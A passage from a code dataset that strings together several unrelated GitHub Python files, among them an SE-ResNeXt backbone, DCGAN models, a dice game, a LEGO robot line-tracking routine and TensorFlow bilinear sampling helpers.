\"\"\"\n model = SE_ResNeXt(Bottleneck, [3, 4, 6, 3], **kwargs)\n return model\n\n\ndef se_resnext_101(**kwargs):\n \"\"\"Constructs a ResNeXt-101 model.\n \"\"\"\n model = SE_ResNeXt(Bottleneck, [3, 4, 23, 3], **kwargs)\n return model\n\n\ndef se_resnext_152(**kwargs):\n \"\"\"Constructs a ResNeXt-152 model.\n \"\"\"\n model = SE_ResNeXt(Bottleneck, [3, 8, 36, 3], **kwargs)\n return model\n\n@BACKBONE_REGISTRY.register()\ndef build_SEResNextV2_backbone(cfg):\n \"\"\"\n Create a SEResNext instance from config.\n Returns:\n SEResNext: a :class:`SEResNext` instance.\n \"\"\"\n # fmt: off\n pretrain = cfg.MODEL.BACKBONE.PRETRAIN\n pretrain_path = cfg.MODEL.BACKBONE.PRETRAIN_PATH\n '''T = cfg.MODEL.BACKBONE.T\n width_mult = cfg.MODEL.BACKBONE.WIDTH_MULT'''\n # fmt: on\n\n model = se_resnext_50()\n\n if pretrain:\n # Load pretrain path if specifically\n if pretrain_path:\n try:\n o_state_dict = torch.load(pretrain_path, map_location=torch.device('cpu'))\n logger.info(f\"Loading pretrained model from {pretrain_path}\")\n except FileNotFoundError as e:\n logger.info(f'{pretrain_path} is not found! Please check this path.')\n raise e\n except KeyError as e:\n logger.info(\"State dict keys error! Please check the state dict.\")\n raise e\n if 'state_dict' in o_state_dict:\n o_state_dict = o_state_dict['state_dict']\n state_dict = {}\n for k, v in o_state_dict.items():\n if 'module.' in k:\n k = k.replace('module.', '')\n state_dict[k] = v\n else:\n raise ValueError(\"you should provide pretrain path, for we have no imagenet pretrain model to download\")\n\n incompatible = model.load_state_dict(state_dict, strict=False)\n if incompatible.missing_keys:\n logger.info(\n get_missing_parameters_message(incompatible.missing_keys)\n )\n if incompatible.unexpected_keys:\n logger.info(\n get_unexpected_parameters_message(incompatible.unexpected_keys)\n )\n\n return model\n\n\n\n","repo_name":"rikichou/wheel_cls","sub_path":"RM_cls/rmclas/modeling/backbones/SEResNextv2.py","file_name":"SEResNextv2.py","file_ext":"py","file_size_in_byte":7178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33724393187","text":"import inspect\nfrom typing import Any, Dict, Final, NoReturn, get_origin, get_type_hints\nfrom unittest.mock import MagicMock, PropertyMock\n\nfrom .mock_util import is_mock_the_caller\n\nDUNDER_SCORE = '__'\nIMMUTABLE_BUILT_IN_TYPES = (int, float, bool, str, tuple, frozenset)\n\n\ndef get_constant_members(cls_name: str, cls_dict: Dict[str, Any], cls_object: object) -> Dict[str, Any]:\n return {\n member_name: member_value\n for member_name, member_value in cls_dict.items()\n if is_valid_constant_member(cls_name, cls_object, member_name, member_value)\n }\n\n\ndef is_valid_constant_member(cls_name: str, cls_object: object,\n member_name: str, member_value: object) -> bool:\n if should_skip_member(member_name, member_value):\n return False\n validate_member(cls_name, cls_object, member_name, member_value)\n return True\n\n\ndef validate_member(cls_name: str, cls_object: object, member_name: str, member_value: object) -> NoReturn:\n # noinspection PyUnresolvedReferences\n assert cls_object.__letter_case_match_func__(member_name), \\\n f'Bad constant <{cls_name}.{member_name}> name, use {cls_object.__error_msg__}.'\n\n # noinspection PyUnresolvedReferences\n assert isinstance(member_value, cls_object.__strict_type__), \\\n f'Constant member type must be {cls_object.__strict_type__}.'\n\n # noinspection PyUnresolvedReferences\n if cls_object.__strict_final__:\n assert is_member_origin_type_final(cls_object, member_name), 'Constant member origin type must be Final.'\n\n # noinspection PyUnresolvedReferences\n if cls_object.__strict_immutable__:\n assert isinstance(member_value, IMMUTABLE_BUILT_IN_TYPES), 'Constant member must be immutable built-in type.'\n\n\ndef should_skip_member(member_name: str, member_value: object) -> bool:\n return member_name.startswith(DUNDER_SCORE) or inspect.isfunction(member_value) \\\n or inspect.ismethoddescriptor(member_value)\n\n\ndef is_member_origin_type_final(cls_object: object, member_name: str) -> bool:\n origin_type = get_type_hints(cls_object).get(member_name)\n while origin_type is not None:\n if origin_type is Final:\n return True\n origin_type = get_origin(origin_type)\n return False\n\n\ndef should_allow_attribute_reassign(__file__: str, cur_obj: object, member_value: object) -> bool:\n return isinstance(member_value, (MagicMock, PropertyMock)) \\\n or isinstance(cur_obj, (MagicMock, PropertyMock)) \\\n or is_mock_the_caller(__file__)\n","repo_name":"tallerasaf/py_constant_class","sub_path":"constant_class/utils/meta_helper.py","file_name":"meta_helper.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"12441054101","text":"\"\"\"\r\nCalculate the area of a circle\r\n\r\nAuthor: Even\r\nVersion: 0.1\r\nLast update: 2019/7/7\r\n\"\"\"\r\n\r\n\r\nimport math\r\n\r\n\r\nradius = float(input('Please input a number as radius of circle: '))\r\narea = float((radius ** 2) * math.pi)\r\nprint('Area of circle is %.2f''' % area)","repo_name":"alan3118tw/Python_practices","sub_path":"Calculate the area of a circle.py","file_name":"Calculate the area of a circle.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"15431586182","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n self.projection = nn.Linear(100, 1024*4*4)\n self.layers = nn.Sequential(\n # First block\n nn.ConvTranspose2d(1024, 512, kernel_size=(4, 4), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n\n # Second block\n nn.ConvTranspose2d(512, 256, kernel_size=(4, 4), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n\n # Third block\n nn.ConvTranspose2d(256, 128, kernel_size=(4, 4), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n\n # Fourth block\n nn.ConvTranspose2d(128, 3, kernel_size=(4, 4), stride=(2, 2), padding=(1, 1), bias=False),\n nn.Tanh(),\n )\n \n def forward(self, random_noise):\n x = self.projection(random_noise)\n x = x.view(-1, 1024, 4, 4)\n return self.layers(x)\n\n @staticmethod\n def weights_init(layer):\n layer_class_name = layer.__class__.__name__\n if 'Conv' in layer_class_name:\n nn.init.normal_(layer.weight.data, 0.0, 0.02)\n elif 'BatchNorm' in layer_class_name:\n nn.init.normal_(layer.weight.data, 1.0, 0.02)\n nn.init.constant_(layer.bias.data, 0)\n\n\nclass Discriminator(nn.Module):\n def __init__(self):\n super(Discriminator, self).__init__()\n self.layers = nn.Sequential(\n # First block\n nn.Conv2d(3, 16, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1), bias=False),\n nn.LeakyReLU(0.2),\n\n # Second block\n nn.Conv2d(16, 32, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(0.2),\n\n # Third block\n nn.Conv2d(32, 64, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(0.2),\n\n # Fourth block\n nn.Conv2d(64, 128, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2),\n\n # Fifth block\n nn.Conv2d(128, 256, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1), bias=False),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(0.2),\n )\n self.output = nn.Linear(256*2*2, 1)\n self.output_function = nn.Sigmoid()\n\n def forward(self, x):\n x = self.layers(x)\n x = x.view(-1, 256*2*2)\n x = self.output(x)\n return self.output_function(x)\n\n @staticmethod\n def weights_init(layer):\n layer_class_name = layer.__class__.__name__\n if 'Conv' in layer_class_name:\n nn.init.normal_(layer.weight.data, 0.0, 0.02)\n elif 'BatchNorm' in layer_class_name:\n nn.init.normal_(layer.weight.data, 1.0, 0.02)\n nn.init.constant_(layer.bias.data, 0)\n","repo_name":"jpowie01/DCGAN_CelebA","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3119,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"2"} +{"seq_id":"25907285465","text":"import pandas as pd\nimport matplotlib.pyplot as plt\ndf = pd.read_excel('销售业绩表.xlsx')\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\nx = df['月份']\ny = df['销售额']\nplt.bar(x, y, color = 'red', label = '销售额')\nplt.legend(loc = 'upper left', fontsize = 20)\nplt.show()\n","repo_name":"data-python/script-office-202102","sub_path":"ch2-办公-表格Excel/python-let-excel-fly-202007/07/案例04 添加并设置图表标题和坐标轴标题/添加图例.py","file_name":"添加图例.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"31433667114","text":"from die import Die\n\nclass Player:\n def __init__(self):\n self.roll = \"\"\n self.rollsCount = 0\n self.atStartup = True\n self.winner = False\n self.loser = False\n\n def rollDice(self):\n dice1 = Die()\n dice2 = Die()\n dice1.roll()\n dice2.roll()\n total = dice1.getValue() + dice2.getValue()\n self.roll = f\"{dice1.getValue()}, {dice2.getValue()}\"\n if self.atStartup:\n self.atStartup = False\n self.firstRoll = total\n if total in (7, 11):\n self.winner = True\n elif total in (2, 3, 12):\n self.loser = True\n else:\n if total == 7:\n self.loser = True\n elif total == self.firstRoll:\n self.winner = True\n self.rollsCount += 1\n return dice1.getValue(), dice2.getValue()\n\n def getNumberOfRolls(self):\n return self.rollsCount\n\n def isWinner(self):\n return self.winner\n\n def isLoser(self):\n return self.loser\n\ndef playOneGame():\n player = Player()\n print(\"Rolling the dice...\")\n while not player.isWinner() and not player.isLoser():\n input(\"Press Enter to roll the dice...\")\n dice_values = player.rollDice()\n print(f\"Roll {player.getNumberOfRolls()}: {dice_values[0]} + {dice_values[1]} = {sum(dice_values)}\")\n if player.isWinner():\n print(\"Congratulations! You win!\")\n else:\n print(\"Oops! You rolled a 7. You lose!\")\n\ndef playManyGames(num_games):\n for game in range(num_games):\n print(f\"\\nGame {game+1}:\")\n playOneGame()\n\n# Example usage:\nplayManyGames(3)\n","repo_name":"akomvictory/pyproject","sub_path":"crasp.py","file_name":"crasp.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"42008452720","text":"\"\"\"Bishan Dynamics BD23\"\"\"\n\nfrom pybricks.hubs import PrimeHub\nfrom pybricks.parameters import Color, Direction, Port, Stop\nfrom pybricks.pupdevices import ColorSensor, Motor\nfrom pybricks.robotics import GyroDriveBase\nfrom pybricks.tools import wait\n\nhub = PrimeHub()\nleft_motor = Motor(Port.E, Direction.COUNTERCLOCKWISE)\nright_motor = Motor(Port.A)\nmain_motor = Motor(Port.C)\nleft_sensor = ColorSensor(Port.D)\nright_sensor = ColorSensor(Port.F)\nferris_motor = Motor(Port.B, Direction.COUNTERCLOCKWISE)\n\ndb = GyroDriveBase(left_motor, right_motor, wheel_diameter=56, axle_track=160)\ndb.settings(\n straight_speed=200, straight_acceleration=300, turn_rate=200, turn_acceleration=400\n)\nleft_sensor.detectable_colors([Color.RED, Color.NONE, Color.WHITE])\nright_sensor.detectable_colors([Color.NONE, Color.WHITE, Color.BLACK])\n\nWHITE = 93\nBLACK = 9\n\nslot_colors: list[str] = []\nprevent_right = True\n# ferris_angle: int\n\n\ndef gen_slot_distances(\n begin: int, slot_width: int, slot_interval: int, mid_gap: int\n) -> list[list[int]]:\n \"\"\"Generate the list of distances where slots are positioned\n\n Args:\n begin (int): Begin\n slot_width (int): Width of slot\n slot_interval (int): Gap between slots\n mid_gap (int): Gap between Pacific and Caribbean slots\n\n Returns:\n list[list[int]]: List of slot distances\n \"\"\"\n slot_distances = []\n for i in range(9):\n if i < 4:\n slot_distances.append(\n [\n begin + (i * slot_interval) + (i * slot_width),\n begin + (i * slot_interval) + (i * slot_width) + slot_width,\n ]\n )\n else:\n slot_distances.append(\n [\n begin + ((i - 1) * slot_interval) + (i * slot_width) + mid_gap,\n begin\n + ((i - 1) * slot_interval)\n + (i * slot_width)\n + mid_gap\n + slot_width,\n ]\n )\n return slot_distances\n\n\ndef straight_to_double() -> None:\n hit = False\n while not hit:\n l_ref = (left_sensor.reflection() - BLACK) / (WHITE - BLACK)\n r_ref = (right_sensor.reflection() - BLACK) / (WHITE - BLACK)\n hit = l_ref < 0.2 and r_ref < 0.2 #might need to make this more lenient\n db.straight(1, Stop.NONE)\n\n db.straight(0, Stop.HOLD)\n return\n\n\ndef to_angle(angle: int) -> None:\n print(main_motor.angle(), \"to\", angle)\n if angle >= -20 or angle < -285:\n print(\"you screwed up\")\n return\n\n if main_motor.angle() > angle:\n while main_motor.angle() > angle:\n main_motor.run(-600)\n elif main_motor.angle() < angle:\n while main_motor.angle() < angle:\n main_motor.run(600)\n\n\ndef linetrack_by_distance(distance, sensitivity=1.7):\n \"\"\"Linetrack a specific distance\n\n Args:\n distance (int): Distance in mm\n \"\"\"\n db.reset()\n while db.distance() < distance:\n db.drive(\n 150, (left_sensor.reflection() - right_sensor.reflection()) * sensitivity\n )\n db.stop()\n\n\ndef linetrack_to_corner(\n turn_direction: str,\n turn_angle: int = 0,\n min_distance: int = 30,\n speed: int = 350,\n) -> None:\n\n \"\"\"Linetrack to a corner, then do a smooth turn.\n\n Args:\n turn_direction (str): The direction of the turn - left, double or right\n turn_angle (int, optional): The angle of the turn. Defaults to 0.\n min_distance (int, optional): The minimum distance driven before turning. Defaults to 30.\n speed (int, optional): Speed of robot. Defaults to 350.\n \"\"\"\n db.reset()\n while True:\n l_ref = (left_sensor.reflection() - BLACK) / (WHITE - BLACK)\n r_ref = (right_sensor.reflection() - BLACK) / (WHITE - BLACK)\n db.drive(speed, (l_ref - r_ref) * 60)\n l_ref = (left_sensor.reflection() - BLACK) / (WHITE - BLACK)\n r_ref = (right_sensor.reflection() - BLACK) / (WHITE - BLACK)\n\n if turn_direction == \"left\":\n hit = l_ref < 0.2 and r_ref > 0.5\n elif turn_direction == \"right\":\n hit = l_ref > 0.5 and r_ref < 0.2\n elif turn_direction == \"double\":\n hit = l_ref < 0.2 and r_ref < 0.2\n\n if hit and db.distance() > min_distance:\n break\n\n db.straight(0, Stop.BRAKE)\n initial_heading = hub.imu.heading()\n target_heading = initial_heading + turn_angle\n print(initial_heading, target_heading)\n if turn_angle <= 0:\n while 3 < abs(target_heading - hub.imu.heading()):\n right_motor.run(500)\n else:\n while 3 < abs(target_heading - hub.imu.heading()):\n left_motor.run(500)\n db.straight(0, Stop.BRAKE)\n\n\ndef turn_to_line(turn_direction: str) -> None:\n db.straight(90)\n\n if turn_direction == \"left\":\n db.turn(-90)\n elif turn_direction == \"right\":\n db.turn(90)\n elif turn_direction == \"left_back\":\n db.turn(-180)\n else: # turn_direction == \"right_back\"\n db.turn(180)\n\n\ndef ferris_wheel_turn(desired_cart: str, wait=True) -> None:\n \"\"\"Turn the ferris wheel without lowering.\n\n Args:\n desired_cart (str): Desired cart\n \"\"\"\n ferris_angle = ferris_motor.angle()\n\n print(\"FERRIS: \", ferris_angle)\n if desired_cart == \"WHITE\":\n desired_ferris_angle = 450\n elif desired_cart == \"BLACK\":\n desired_ferris_angle = 1350\n elif desired_cart == \"DEF\":\n desired_ferris_angle = 1000\n elif desired_cart == \"EXTRAHAND\":\n desired_ferris_angle = 900\n elif desired_cart == \"RED\":\n desired_ferris_angle = 800\n else:\n desired_ferris_angle = 0\n ferris_angle_diff = desired_ferris_angle - ferris_angle\n\n if abs(ferris_angle_diff) < 20:\n return\n if abs(ferris_angle_diff) > 900:\n ferris_angle_diff = (\n (1800 - abs(ferris_angle_diff))\n * -1\n * ferris_angle_diff\n / abs(ferris_angle_diff)\n )\n if abs(ferris_angle_diff) == 900:\n if (prevent_right == True and ferris_angle == 1350) or (\n prevent_right == False and ferris_angle == 450\n ):\n ferris_angle_diff = abs(ferris_angle_diff) * -1\n else:\n ferris_angle_diff = abs(ferris_angle_diff)\n\n print(\"DESIRED FERRIS ANGLE:\", desired_ferris_angle)\n print(\"FERRIS ANGLE DIFF:\", ferris_angle_diff)\n ferris_motor.run_angle(1000, ferris_angle_diff, wait=wait)\n ferris_angle = desired_ferris_angle\n\n\ndef ferris_wheel_turn_and_down(desired_cart: str) -> None:\n \"\"\"Turn the ferris wheel and lower the mechanism.\n\n Args:\n desired_cart (str): Desired cart\n \"\"\"\n if desired_cart == \"EXTRAHAND\":\n print(\"you screwed up\")\n return\n ferris_wheel_turn(desired_cart)\n if main_motor.angle() < -30:\n main_motor.run_angle(600, 285)\n\n\ndef ferris_wheel_up_and_turn(desired_cart: str, wait=True) -> None:\n \"\"\"Raise the mechanism and turn the ferris wheel.\n\n Args:\n desired_cart (str): Desired cart\n \"\"\"\n ferris_wheel_turn(desired_cart, wait=wait)\n if main_motor.angle() > -250:\n main_motor.run_angle(600, -285)\n\n\ndef align_to_line():\n db.straight(-150)\n linetrack_by_distance(60, 2.2)\n db.straight(90)\n\n\ndef voting(slot_distances: list[list[int]]) -> list[str]:\n \"\"\"Improved Kenneth voting to scan cubes.\n Highest average reflection is white, second highest is black.\n\n Args:\n slot_distances (list[list[int]]): List of distances for the slots\n\n Returns:\n list[str]: The result after scanning each slot\n \"\"\"\n slot_averages = [0] * 8\n slot_no = 0\n current_tally = 0\n reading_count = 0\n db.reset()\n while True:\n reflection = left_sensor.reflection()\n distance = db.distance()\n if slot_distances[slot_no][0] + 10 < distance < slot_distances[slot_no][1] - 10:\n current_tally += reflection\n reading_count += 1\n if distance >= slot_distances[slot_no + 1][0] - 10:\n # print(current_tally, reading_count)\n slot_averages[slot_no] = current_tally / reading_count\n current_tally = 0\n reading_count = 0\n slot_no += 1\n if slot_no == 8:\n print(distance)\n db.straight(0)\n break\n db.drive(300, 0)\n\n south_numed = [[val, i] for i, val in enumerate(slot_averages[:4])]\n north_numed = [[val, i] for i, val in enumerate(slot_averages[4:])]\n south_sorted = sorted(south_numed, reverse=True)\n north_sorted = sorted(north_numed, reverse=True)\n\n colors = [\"NONE\"] * 8\n colors[south_sorted[0][1]] = \"WHITE\"\n colors[south_sorted[1][1]] = \"BLACK\"\n colors[north_sorted[0][1] + 4] = \"WHITE\"\n colors[north_sorted[1][1] + 4] = \"BLACK\"\n print(colors)\n return colors\n\n\ndef deposit(slot: int) -> None:\n \"\"\"Deposit an object.\n\n Args:\n slot (int): The slot number.\n \"\"\"\n\n if slot == 2 or slot == 6:\n prevent_right = True\n else:\n prevent_right = False\n\n if slot_colors[slot] == \"NONE\":\n print(\"deposit('NONE') doesn't really make sense\")\n if slot_colors[slot] == \"WHITE\" or slot_colors[slot] == \"BLACK\":\n ferris_wheel_turn_and_down(slot_colors[slot])\n if slot_colors[slot] == \"BLACK\":\n if slot >= 4:\n db.straight(28)\n else:\n db.straight(43)\n\n if slot == 0 or slot == 3 or slot == 4 or slot == 7:\n ferris_wheel_turn(\"DEF\")\n\n else:\n main_motor.run_angle(600, -285)\n\n if slot >= 4:\n db.straight(-28)\n else:\n db.straight(-43)\n\n elif slot_colors[slot] == \"WHITE\":\n if slot >= 4:\n db.straight(20)\n else:\n db.straight(36)\n if slot == 0 or slot == 3 or slot == 4 or slot == 7:\n ferris_wheel_turn(\"DEF\")\n\n else:\n main_motor.run_angle(600, -285)\n\n if slot >= 4:\n db.straight(-20)\n else:\n db.straight(-34)\n\n prevent_right = False\n\n\ndef go_to_slot(region: int, slot: int) -> None:\n if slot == 0:\n db.settings(straight_speed=500, straight_acceleration=500)\n db.straight(340)\n db.settings(straight_speed=200, straight_acceleration=300)\n initial_heading = hub.imu.heading()\n target_heading = initial_heading - 90\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n left_motor.run(-600)\n db.straight(0, Stop.HOLD)\n\n db.settings(straight_speed=500, straight_acceleration=500)\n if region == 1:\n db.straight(50)\n\n deposit(region * 4 + slot)\n\n db.straight(-38)\n ferris_wheel_up_and_turn(\"EXTRAHAND\")\n\n if region == 0:\n db.straight(32)\n\n initial_heading = hub.imu.heading()\n target_heading = initial_heading - 90\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n right_motor.run(600)\n db.straight(0, Stop.HOLD)\n db.straight(-35)\n db.settings(straight_speed=200, straight_acceleration=300)\n linetrack_to_corner(\"left\", 0, min_distance=10)\n turn_to_line(\"right_back\")\n\n elif slot == 1:\n\n db.turn(90)\n linetrack_to_corner(\"double\", 0, min_distance=45 - (region * 35)) # 10\n ferris_wheel_up_and_turn(slot_colors[region * 4 + 1])\n turn_to_line(\"right_back\")\n db.settings(straight_speed=500, straight_acceleration=500)\n db.straight(-92)\n db.turn(-75)\n db.straight(-143)\n deposit(region * 4 + 1)\n db.straight(143)\n db.turn(75)\n db.settings(straight_speed=200, straight_acceleration=300)\n if region == 1:\n linetrack_to_corner(\"double\", 0, min_distance=65 - (region * 35)) # 30\n else:\n linetrack_to_corner(\"right\", 0, min_distance=65 - (region * 35)) # 30\n\n turn_to_line(\"right\")\n\n elif slot == 2:\n\n db.turn(90)\n linetrack_to_corner(\"double\", 0, min_distance=45 - (region * 35)) # 10\n ferris_wheel_up_and_turn(slot_colors[region * 4 + 2])\n turn_to_line(\"right_back\")\n db.settings(straight_speed=500, straight_acceleration=500)\n db.straight(-92)\n db.turn(79)\n db.straight(-147)\n deposit(region * 4 + 2)\n db.straight(147) # (110+3 +- 2 basic math)\n db.turn(-79)\n db.settings(straight_speed=200, straight_acceleration=300)\n if region == 1:\n linetrack_to_corner(\"double\", 0, min_distance=65 - (region * 35)) # 30\n else:\n linetrack_to_corner(\"right\", 0, min_distance=65 - (region * 35)) # 30\n turn_to_line(\"right\")\n\n elif slot == 3:\n db.settings(straight_speed=500, straight_acceleration=500)\n db.straight(-165)\n initial_heading = hub.imu.heading()\n target_heading = initial_heading - 90\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n left_motor.run(-600)\n db.straight(0, Stop.HOLD)\n\n if region == 1:\n db.straight(50)\n\n deposit(region * 4 + slot)\n\n db.straight(-38)\n ferris_wheel_up_and_turn(\"EXTRAHAND\")\n\n if region == 0:\n db.straight(28)\n\n initial_heading = hub.imu.heading()\n target_heading = initial_heading + 90\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n left_motor.run(600)\n db.straight(0, Stop.HOLD)\n db.straight(-35)\n\n if region == 1:\n db.settings(straight_speed=200, straight_acceleration=300)\n linetrack_to_corner(\"right\", 0, min_distance=5)\n else:\n db.settings(straight_speed=500)\n db.straight(162)\n\n db.settings(straight_speed=200, straight_acceleration=300)\n db.straight(90)\n\n\ndef regional_deposit(dist=0, region=0) -> None:\n if slot_colors[region * 4 + 1] != \"NONE\" and slot_colors[region * 4 + 2] != \"NONE\":\n\n db.turn(90)\n\n linetrack_to_corner(\"double\", 0, min_distance=45 - (region * 35)) # 10\n ferris_wheel_up_and_turn(slot_colors[region * 4 + 1])\n turn_to_line(\"right_back\")\n db.straight(-90)\n db.turn(-75)\n db.straight(-143)\n deposit(region * 4 + 1)\n db.straight(143) \n db.turn(75)\n ferris_wheel_up_and_turn(slot_colors[region * 4 + 2])\n db.turn(79)\n db.straight(-147)\n deposit(region * 4 + 2)\n db.straight(147) \n db.turn(-79)\n if region == 1:\n linetrack_to_corner(\"double\", 0, min_distance=65 - (region * 35)) # 30\n else:\n linetrack_to_corner(\"right\", 0, min_distance=65 - (region * 35)) # 30\n turn_to_line(\"right\")\n\n else:\n if slot_colors[region * 4 + 1] != \"NONE\":\n go_to_slot(region, 1)\n \n if slot_colors[region * 4 + 2] != \"NONE\":\n go_to_slot(region, 2)\n \n if slot_colors[region * 4 + 3] != \"NONE\":\n go_to_slot(region, 3)\n \n if slot_colors[region * 4 + 0] != \"NONE\":\n go_to_slot(region, 0)\n \n\n\nif __name__ == \"__main__\":\n db.settings(straight_speed=450, straight_acceleration=500, turn_acceleration=500)\n linetrack_to_corner(\"left\", 0, min_distance=500)\n db.settings(straight_acceleration=300, turn_acceleration=300)\n db.straight(90)\n\n # ferris_wheel_up_and_turn(\"EXTRAHAND\")\n ferris_wheel_turn(\"EXTRAHAND\")\n\n # Sweep the broken cable, first by arching to slot 2\n db.straight(0)\n db.settings(straight_acceleration=500, turn_acceleration=500)\n db.straight(-330)\n db.settings(straight_speed=200, straight_acceleration=300, turn_acceleration=280)\n db.curve(-145, -180)\n # db.straight(-70)\n\n #Slot 2\n initial_heading = hub.imu.heading()\n target_heading = initial_heading + 90\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n right_motor.run(-600)\n db.straight(0, Stop.NONE)\n\n #Slot 1\n initial_heading = hub.imu.heading()\n target_heading = initial_heading - 120\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n left_motor.run(-600)\n\n db.straight(-310, Stop.NONE)\n\n #Slot 3\n initial_heading = hub.imu.heading()\n target_heading = initial_heading + 130 #NEEEDS FIXING\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n right_motor.run(-600)\n\n db.straight(-110, Stop.NONE)\n\n #Slot 4\n initial_heading = hub.imu.heading()\n target_heading = initial_heading - 100 #NEEDS FIXING\n print(initial_heading, target_heading)\n while 3 < abs(target_heading - hub.imu.heading()):\n left_motor.run(-600)\n\n db.straight(-100, Stop.HOLD)\n linetrack_to_corner(\"right\", 0, min_distance=150)\n db.straight(90)\n","repo_name":"frosetrain/bishan-dynamics","sub_path":"sweeper.py","file_name":"sweeper.py","file_ext":"py","file_size_in_byte":17204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3598001804","text":"\"\"\"\nYou are presented with two arrays, all containing positive integers. \nOne of the arrays will have one extra number, see below:\n\n[1,2,3] and [1,2,3,4] should return 4\n\n[4,66,7] and [66,77,7,4] should return 77\n\n\"\"\"\n\ndef find_missing(array1, array2):\n if len(array1) == len(array2):\n return 0\n else:\n if len(array1) > len(array2) :\n for number in array1:\n if number not in array2:\n return number\n else:\n for number in array2:\n if number not in array1:\n return number","repo_name":"bmwachajr/Andelabs","sub_path":"Missingnumber/Missingnumber.py","file_name":"Missingnumber.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"8231992091","text":"import tensorflow as tf\r\nimport keras.backend as K\r\nfrom keras.engine.topology import Layer\r\nimport numpy as np\r\ndef get_pixel_value(img, x, y):\r\n \"\"\"\r\n Utility function to get pixel value for coordinate\r\n vectors x and y from a 4D tensor image.\r\n Input\r\n -----\r\n - img: tensor of shape (B, H, W, C)\r\n - x: flattened tensor of shape (B*H*W, )\r\n - y: flattened tensor of shape (B*H*W, )\r\n Returns\r\n -------\r\n - output: tensor of shape (B, H, W, C)\r\n \"\"\"\r\n shape = tf.shape(x)\r\n batch_size = shape[0]\r\n height = shape[1]\r\n width = shape[2]\r\n nrings = 0\r\n ndirs = 0\r\n if K.ndim(x) == 5:\r\n nrings = shape[3]\r\n ndirs = shape[4]\r\n\r\n ndims = K.ndim(img)\r\n\r\n batch_idx = tf.range(0, batch_size)\r\n\r\n if nrings == 0 or ndirs == 0:\r\n batch_idx = tf.reshape(batch_idx, (batch_size, 1, 1))\r\n b = tf.tile(batch_idx, (1, height, width))\r\n indices = tf.stack([b, y, x], 3)\r\n else:\r\n batch_idx = tf.reshape(batch_idx, (batch_size, 1, 1, 1, 1))\r\n b = tf.tile(batch_idx, (1, height, width, nrings, ndirs))\r\n if ndims == 4:\r\n indices = tf.stack([b, y, x], 5)\r\n else:\r\n t = tf.range(0, ndirs)\r\n t = tf.reshape(t, (ndirs, 1, 1, 1, 1))\r\n t = tf.transpose(t, perm=[4, 1, 2, 3, 0])\r\n t = tf.tile(t, (batch_size, height, width, nrings, 1))\r\n indices = tf.stack([b, y, x, t], 5)\r\n return tf.gather_nd(img, indices)\r\n\r\ndef get_vertex_value(img, x, y):\r\n \"\"\"\r\n Utility function to get pixel value for coordinate\r\n vectors x and y from a 4D tensor image.\r\n Input\r\n -----\r\n - img: tensor of shape (B, H, W, C)\r\n - x: flattened tensor of shape (B*H*W, )\r\n - y: flattened tensor of shape (B*H*W, )\r\n Returns\r\n -------\r\n - output: tensor of shape (B, H, W, C)\r\n \"\"\"\r\n shape = tf.shape(x)\r\n batch_size = shape[0]\r\n nv = shape[1]\r\n\r\n batch_idx = tf.range(0, batch_size)\r\n batch_idx = tf.reshape(batch_idx, (batch_size, 1))\r\n b = tf.tile(batch_idx, (1, nv))\r\n indices = tf.stack([b, y, x], 2)\r\n\r\n return tf.gather_nd(img, indices)\r\n\r\ndef get_value(img, x, y):\r\n if K.ndim(x) == 2:\r\n return get_vertex_value(img, x, y)\r\n else:\r\n return get_pixel_value(img, x, y)\r\n\r\n\r\ndef bilinear_sampler(img, x, y, nrings, ndirs):\r\n \"\"\"\r\n Performs bilinear sampling of the input images according to the\r\n normalized coordinates provided by the sampling grid. Note that\r\n the sampling is done identically for each channel of the input.\r\n To test if the function works properly, output image should be\r\n identical to input image when theta is initialized to identity\r\n transform.\r\n Input\r\n -----\r\n - img: batch of images in (B, H, W, C) layout.\r\n - grid: x, y which is the output of affine_grid_generator.\r\n Returns\r\n -------\r\n - interpolated images according to grids. Same size as grid.\r\n \"\"\"\r\n # prepare useful params\r\n B = tf.shape(img)[0]\r\n H = 